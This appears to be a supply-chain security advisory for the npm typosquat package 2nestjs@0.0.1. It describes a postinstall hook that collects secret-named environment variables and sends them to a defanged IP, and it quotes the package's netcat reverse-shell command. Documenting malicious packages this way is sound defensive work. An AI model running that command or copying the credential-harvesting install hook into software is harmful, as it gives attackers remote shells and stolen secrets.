2nestjs@0.0.1
Malicious code in 2nestjs (npm)
T1195.002 · Compromise Software Supply ChainT1059.007 · JavaScriptT1552.001 · Credentials In FilesT1082 · System Information DiscoveryT1041 · Exfiltration Over C2 ChannelT1059 · Command and Scripting Interpreter
Analysis
The postinstall hook runs index.js, which harvests all environment variables whose names match SECRET/API/TOKEN/KEY and sends them over a raw TCP connection to 84[.]32[.]22[.]44:9999. It also spawns a reverse shell via `nc -e /bin/sh 84[.]32[.]22[.]44 9999`. The package is a typosquat of the legitimate nestjs package.
- analyzed by
- Leitwacht
- first seen
- Sep 3, 2026, 10:51 PM
- analyzed
- Sep 3, 2026, 10:52 PM
Related advisories
- 1nestjs@0.0.1
- 0nestjs@0.0.1
- @quantixfinance/database@1.0.1
- @quantixfinance/token@1.0.1
- @quantixfinance/contracts@1.0.0
- @quantixfinance/wallet@1.0.0
- @quantixfinance/common@1.0.0
- @quantixfinance/sdk@1.0.0
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.